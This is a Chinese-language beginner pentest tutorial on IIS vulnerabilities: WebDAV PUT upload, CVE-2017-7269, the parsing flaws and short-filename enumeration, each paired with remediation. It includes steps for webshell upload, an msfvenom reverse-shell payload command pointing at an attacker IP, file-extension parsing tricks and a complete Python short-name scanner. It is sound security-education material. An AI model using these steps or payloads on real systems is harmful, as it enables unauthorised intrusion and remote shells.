0x01 前言
渗透过程中会遇到各种中间件,某些中间件版本存在远程执行、任意文件上传等漏洞。本文对IIS相关漏洞进行整理,方便我们在渗透过程中快速查阅IIS漏洞。文章粗略浅显,适合刚入行的新手观看。
0x02 目录
IIS6.0 PUT漏洞
IIS6.0 远程代码执行漏洞 CVE-2017-7269
IIS6.0 解析漏洞
IIS7.0/7.5 解析漏洞
IIS短文件名漏洞
IIS对应windows系统版本:
Windows Server 2000 —— IIS 5.0
Windows XP SP1 —— IIS 5.1
Windows XP SP2,SP3 —— IIS 5.1
Windows Server 2003,XP porfessional —— IIS 6.0
Windows Vista Ultimate —— IIS 7.0
Windows 7 —— IIS 7,IIS 7.5
Windows Server 2008 SP2,SP3 —— IIS 7.0
Windows Server 2008 R2,部分Windows 7 —— IIS 7.5
Windows Server 2008 SP2,SP3 —— IIS 7.0
Windows Server 2012,Windows 8 —— IIS 8.0
Windows Server 2012 R2 —— IIS 8.5
windows Server 2016,Windows10 —— IIS 10
0x03 IIS6.0 PUT漏洞
漏洞原理
IIS6.0 server在web服务扩展中开启了WebDAV(Web-based Distributed Authoring and Versioning)。WebDAV是一种HTTP1.1的扩展协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,如PUT,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。可以像在操作本地文件夹一样操作服务器上的文件夹,该扩展也存在缺陷,利用PUT方法可直接向服务器上传恶意文件,控制服务器。
环境搭建
windows server 2003 安装IIS6.0:
开启WebDAV服务:
网站目录允许来宾用户写入:
漏洞复现
这里我们使用IISPutScanner工具进行复现。
首先使用工具扫描目标地址:
发现存在IIS6.0 PUT漏洞,右键选择上传文件:
数据包格式选择PUT,选择asp一句话木马,点击提交数据包:
然后数据包格式选择MOVE,再次点击提交数据包,此时可得到webshell路径:
使用菜刀连接我们的webshell:
成功获得服务器权限。
修复方案
- 关闭WebDAV服务扩展
- 关闭IIS来宾用户写入权限
0x04 IIS6.0 远程代码执行漏洞 CVE-2017-7269
漏洞原理
在Windows Server 2003的IIS6.0的WebDAV服务的ScStoragePathFromUrl函数存在缓存区溢出漏洞,攻击者通过一个以"If: <http://"
开始的较长header头的PROPFIND请求执行任意代码,控制目标主机。
环境搭建
IIS6.0开启WebDAV服务扩展:
漏洞复现
使用IISPutScanner工具扫描目标地址:
发现目标存在WebDAV远程代码执行漏洞,使用网上公开的利用工具复现漏洞:
生成bin文件:
<span style="color:#7f8c93"><span style="background-color:#ffffff"><code class="language-bash">msfvenom -p windows/shell_reverse_tcp LHOST=192.168.157.133 LPORT=8077 EXITFUNC=thread PrependMigrate=<span style="color:#a31515">true</span> PrependMigrateProc=rundll32.exe >iis
</code></span></span>
反弹shell:
此漏洞成功利用后会导致IIS服务崩溃,反弹shell提升为管理员权限后务必重启IIS服务。
批量检测脚本:https://github.com/admintony/Windows-Exploit/tree/master/IIS6_WebDAV_Scanner
修复方案
- 关闭WebDAV服务扩展
0x05 IIS6.0 解析漏洞
漏洞原理
基于文件名
IIS6.0默认不解析;
号后面的内容,例如1.asp;.jpg
会当成1.asp
解析,相当于分号截断。
基于文件夹
IIS6.0会将/*.asp/
文件夹下的文件当成asp解析。
修复方案
由于微软并不认为这是一个漏洞,也没有推出相关的修复补丁,因此我们需要自己设置:
-
取消网站目录脚本执行权限:
-
禁止创建文件夹
-
重命名上传文件为时间戳+
.jpg
或随机数+.jpg
等
0x06 IIS7.0/7.5 解析漏洞
漏洞原理
IIS7.*在FastCGI运行php的情况下,php默认配置cgi.fix_pathinfo=1
,导致在任意文件后面添加/.php
,服务器就会解析成php。
环境搭建
在windows server 2008 R2系统中打开服务器管理器,点击添加角色,添加web服务IIS,勾选如下选项,点击下一步并安装:
等待片刻后,IIS7.5安装完成:
下载php安装包php-5.3.9-Win32-VC9-x86.msi,安装php。
下载地址:windows.php.net - /downloads/releases/archives/
在Web Server Setup步骤中选择IIS FastCGI
:
来到IIS7.5,点击ISAPI和CGI限制
,添加php-cgi.exe安装路径:
返回,点击处理程序映射
,添加脚本映射,配置如下:
此时环境配置完成,phpinfo测试:
漏洞复现
访问.jpg文件:
利用解析漏洞:
修复方案
- 将
cgi.fix_pathinfo
设置为0并重启php-cgi程序
0x07 IIS短文件名漏洞
漏洞原理
为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短文件名。
使用命令dir /x
可以看到短文件名的效果:
观察执行结果可以发现,短文件名如下特征:
- 只有6位显示,后续字符用
~1
代替。 - 后缀名称只显示3位。
我们可以对启用.net的IIS暴力猜解短文件名,原因是:
1.访问某个存在的短文件名,返回404:
2.访问某个不存在的短文件名,返回400:
漏洞复现
使用网上公开的利用脚本暴力猜解短文件名:
脚本代码:
<span style="color:#7f8c93"><span style="background-color:#ffffff"><code class="language-python"><span style="color:#008000">#!/usr/bin/env python</span>
<span style="color:#008000"># encoding:utf-8</span>
<span style="color:#008000"># An IIS short_name scanner my[at]lijiejie.com http://www.lijiejie.com </span>
<span style="color:#0000ff">import</span> sys
<span style="color:#0000ff">import</span> httplib
<span style="color:#0000ff">import</span> urlparse
<span style="color:#0000ff">import</span> threading
<span style="color:#0000ff">import</span> Queue
<span style="color:#0000ff">import</span> time
<span style="color:#0000ff">class</span> <span style="color:#a31515">Scanner</span>():
<span style="color:#0000ff">def</span> <span style="color:#a31515">__init__</span>(self, target):
self.target = target.lower()
<span style="color:#0000ff">if</span> <span style="color:#0000ff">not</span> self.target.startswith(<span style="color:#a31515">'http'</span>):
self.target = <span style="color:#a31515">'http://%s'</span> % self.target
self.scheme, self.netloc, self.path, params, query, fragment = \
urlparse.urlparse(target)
<span style="color:#0000ff">if</span> self.path[-<span style="color:#880000">1</span>:] != <span style="color:#a31515">'/'</span>: <span style="color:#008000"># ends with slash</span>
self.path += <span style="color:#a31515">'/'</span>
self.alphanum = <span style="color:#a31515">'abcdefghijklmnopqrstuvwxyz0123456789_-'</span>
self.files = []
self.dirs = []
self.queue = Queue.Queue()
self.lock = threading.Lock()
self.threads = []
self.request_method = <span style="color:#a31515">''</span>
self.msg_queue = Queue.Queue()
self.STOP_ME = <span style="color:#a31515">False</span>
threading.Thread(target=self._<span style="color:#0000ff">print</span>).start()
<span style="color:#0000ff">def</span> <span style="color:#a31515">_conn</span>(self):
<span style="color:#0000ff">try</span>:
<span style="color:#0000ff">if</span> self.scheme == <span style="color:#a31515">'https'</span>:
conn = httplib.HTTPSConnection(self.netloc)
<span style="color:#0000ff">else</span>:
conn = httplib.HTTPConnection(self.netloc)
<span style="color:#0000ff">return</span> conn
<span style="color:#0000ff">except</span> Exception, e:
<span style="color:#0000ff">print</span> <span style="color:#a31515">'[_conn.Exception]'</span>, e
<span style="color:#0000ff">return</span> <span style="color:#a31515">None</span>
<span style="color:#0000ff">def</span> <span style="color:#a31515">_get_status</span>(self, path):
<span style="color:#0000ff">try</span>:
conn = self._conn()
conn.request(self.request_method, path)
status = conn.getresponse().status
conn.close()
<span style="color:#0000ff">return</span> status
<span style="color:#0000ff">except</span> Exception, e:
<span style="color:#0000ff">raise</span> Exception(<span style="color:#a31515">'[_get_status.Exception] %s'</span> % <span style="color:#0000ff">str</span>(e) )
<span style="color:#0000ff">def</span> <span style="color:#a31515">is_vul</span>(self):
<span style="color:#0000ff">try</span>:
<span style="color:#0000ff">for</span> _method <span style="color:#0000ff">in</span> [<span style="color:#a31515">'GET'</span>, <span style="color:#a31515">'OPTIONS'</span>]:
self.request_method = _method
status_1 = self._get_status(self.path + <span style="color:#a31515">'/*~1*/a.aspx'</span>) <span style="color:#008000"># an existed file/folder</span>
status_2 = self._get_status(self.path + <span style="color:#a31515">'/l1j1e*~1*/a.aspx'</span>) <span style="color:#008000"># not existed file/folder</span>
<span style="color:#0000ff">if</span> status_1 == <span style="color:#880000">404</span> <span style="color:#0000ff">and</span> status_2 != <span style="color:#880000">404</span>:
<span style="color:#0000ff">return</span> <span style="color:#a31515">True</span>
<span style="color:#0000ff">return</span> <span style="color:#a31515">False</span>
<span style="color:#0000ff">except</span> Exception, e:
<span style="color:#0000ff">raise</span> Exception(<span style="color:#a31515">'[is_vul.Exception] %s'</span> % <span style="color:#0000ff">str</span>(e) )
<span style="color:#0000ff">def</span> <span style="color:#a31515">run</span>(self):
<span style="color:#0000ff">for</span> c <span style="color:#0000ff">in</span> self.alphanum:
self.queue.put( (self.path + c, <span style="color:#a31515">'.*'</span>) ) <span style="color:#008000"># filename, extension</span>
<span style="color:#0000ff">for</span> i <span style="color:#0000ff">in</span> <span style="color:#0000ff">range</span>(<span style="color:#880000">20</span>):
t = threading.Thread(target=self._scan_worker)
self.threads.append(t)
t.start()
<span style="color:#0000ff">for</span> t <span style="color:#0000ff">in</span> self.threads:
t.join()
self.STOP_ME = <span style="color:#a31515">True</span>
<span style="color:#0000ff">def</span> <span style="color:#a31515">report</span>(self):
<span style="color:#0000ff">print</span> <span style="color:#a31515">'-'</span>* <span style="color:#880000">64</span>
<span style="color:#0000ff">for</span> d <span style="color:#0000ff">in</span> self.dirs:
<span style="color:#0000ff">print</span> <span style="color:#a31515">'Dir: %s'</span> % d
<span style="color:#0000ff">for</span> f <span style="color:#0000ff">in</span> self.files:
<span style="color:#0000ff">print</span> <span style="color:#a31515">'File: %s'</span> % f
<span style="color:#0000ff">print</span> <span style="color:#a31515">'-'</span>*<span style="color:#880000">64</span>
<span style="color:#0000ff">print</span> <span style="color:#a31515">'%d Directories, %d Files found in total'</span> % (<span style="color:#0000ff">len</span>(self.dirs), <span style="color:#0000ff">len</span>(self.files))
<span style="color:#0000ff">print</span> <span style="color:#a31515">'Note that * is a wildcard, matches any character zero or more times.'</span>
<span style="color:#0000ff">def</span> <span style="color:#a31515">_print</span>(self):
<span style="color:#0000ff">while</span> <span style="color:#0000ff">not</span> self.STOP_ME <span style="color:#0000ff">or</span> (<span style="color:#0000ff">not</span> self.msg_queue.empty()):
<span style="color:#0000ff">if</span> self.msg_queue.empty():
time.sleep(<span style="color:#880000">0.05</span>)
<span style="color:#0000ff">else</span>:
<span style="color:#0000ff">print</span> self.msg_queue.get()
<span style="color:#0000ff">def</span> <span style="color:#a31515">_scan_worker</span>(self):
<span style="color:#0000ff">while</span> <span style="color:#a31515">True</span>:
<span style="color:#0000ff">try</span>:
url, ext = self.queue.get(timeout=<span style="color:#880000">1.0</span>)
status = self._get_status(url + <span style="color:#a31515">'*~1'</span> + ext + <span style="color:#a31515">'/1.aspx'</span>)
<span style="color:#0000ff">if</span> status == <span style="color:#880000">404</span>:
self.msg_queue.put(<span style="color:#a31515">'[+] %s~1%s\t[scan in progress]'</span> % (url, ext))
<span style="color:#0000ff">if</span> <span style="color:#0000ff">len</span>(url) - <span style="color:#0000ff">len</span>(self.path)< <span style="color:#880000">6</span>: <span style="color:#008000"># enum first 6 chars only</span>
<span style="color:#0000ff">for</span> c <span style="color:#0000ff">in</span> self.alphanum:
self.queue.put( (url + c, ext) )
<span style="color:#0000ff">else</span>:
<span style="color:#0000ff">if</span> ext == <span style="color:#a31515">'.*'</span>:
self.queue.put( (url, <span style="color:#a31515">''</span>) )
<span style="color:#0000ff">if</span> ext == <span style="color:#a31515">''</span>:
self.dirs.append(url + <span style="color:#a31515">'~1'</span>)
self.msg_queue.put(<span style="color:#a31515">'[+] Directory '</span> + url + <span style="color:#a31515">'~1\t[Done]'</span>)
<span style="color:#0000ff">elif</span> <span style="color:#0000ff">len</span>(ext) == <span style="color:#880000">5</span> <span style="color:#0000ff">or</span> (<span style="color:#0000ff">not</span> ext.endswith(<span style="color:#a31515">'*'</span>)): <span style="color:#008000"># .asp*</span>
self.files.append(url + <span style="color:#a31515">'~1'</span> + ext)
self.msg_queue.put(<span style="color:#a31515">'[+] File '</span> + url + <span style="color:#a31515">'~1'</span> + ext + <span style="color:#a31515">'\t[Done]'</span>)
<span style="color:#0000ff">else</span>:
<span style="color:#0000ff">for</span> c <span style="color:#0000ff">in</span> <span style="color:#a31515">'abcdefghijklmnopqrstuvwxyz0123456789'</span>:
self.queue.put( (url, ext[:-<span style="color:#880000">1</span>] + c + <span style="color:#a31515">'*'</span>) )
<span style="color:#0000ff">if</span> <span style="color:#0000ff">len</span>(ext) < <span style="color:#880000">4</span>: <span style="color:#008000"># < len('.as*')</span>
self.queue.put( (url, ext[:-<span style="color:#880000">1</span>] + c) )
<span style="color:#0000ff">except</span> Queue.Empty,e:
<span style="color:#0000ff">break</span>
<span style="color:#0000ff">except</span> Exception, e:
<span style="color:#0000ff">print</span> <span style="color:#a31515">'[Exception]'</span>, e
<span style="color:#0000ff">if</span> __name__ == <span style="color:#a31515">'__main__'</span>:
<span style="color:#0000ff">if</span> <span style="color:#0000ff">len</span>(sys.argv) == <span style="color:#880000">1</span>:
<span style="color:#0000ff">print</span> <span style="color:#a31515">'Usage: python IIS_shortname_Scan.py http://www.target.com/'</span>
sys.exit()
target = sys.argv[<span style="color:#880000">1</span>]
s = Scanner(target)
<span style="color:#0000ff">if</span> <span style="color:#0000ff">not</span> s.is_vul():
s.STOP_ME = <span style="color:#a31515">True</span>
<span style="color:#0000ff">print</span> <span style="color:#a31515">'Server is not vulnerable'</span>
sys.exit(<span style="color:#880000">0</span>)
<span style="color:#0000ff">print</span> <span style="color:#a31515">'Server is vulnerable, please wait, scanning...'</span>
s.run()
s.report()
</code></span></span>
修复方案
- 升级.net framework到4.0以上版本
- 关闭NTFS 8.3文件格式的支持(默认开启)
1.修改注册表键值:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
,修改NtfsDisable8dot3NameCreation
为1,并重启系统。
2.windows server 2003命令行执行fsutil behavior set disable8dot3 1
(1表示关闭,0表示开启)
windows server 2008命令行执行fsutil 8dot3name set 1
不同系统关闭命令稍有区别